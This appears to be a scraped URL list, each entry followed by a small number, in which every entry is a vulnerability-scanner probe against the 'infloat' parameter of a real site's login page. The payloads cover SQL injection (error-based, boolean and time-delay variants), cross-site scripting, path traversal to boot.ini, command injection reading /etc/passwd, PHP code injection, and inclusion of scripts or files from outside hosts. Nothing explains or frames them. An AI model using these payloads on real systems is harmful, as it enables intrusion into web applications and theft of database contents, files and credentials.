http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=ELT(49=49,0x796573) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=ELT(84=35,0x796573) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=MAKE_SET(12=12,0x796573) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=MAKE_SET(41=12,0x796573) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=dir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=phpinfo 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=set%7Cset&set 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes 0.0020 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%00' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20RLIKE%20(SELECT%20(CASE%20WHEN%20(29=29)%20THEN%200x796573%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20RLIKE%20(SELECT%20(CASE%20WHEN%20(83=13)%20THEN%200x796573%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%22%20AND%20%22z6%22=%22jy 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%22)%20AND%2037=44%20AND%20(%22Nq%22=%22Nq 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25%22%29%20AND%2028%3D11%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25%27%29%20AND%2011%3D11%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25%27%29%20AND%2026%3D26%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25%27%29%20AND%2027%3D92%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25%27%29%20AND%2058%3D94%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20AND%2018=18%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20AND%2055=97%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20AND%2071=42%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20AND%2091=91%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0002 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(31=42)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(32=56)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(64=64)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(89=89)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%2527 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%2527%20AND%2022=48%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%2527%20AND%2052=52%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%5B%5D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%5C%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%5C' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes%bf%27 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes&&&&&&&&&&&&&&&&&&& 0.0002 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%20'7i'='hw 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%20'Ol'='Ol 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%20'Pm'%20LIKE%20'cG 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%20'SL'='SL 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%20'XN'%20LIKE%20'XN 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%20'b0'='mb 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 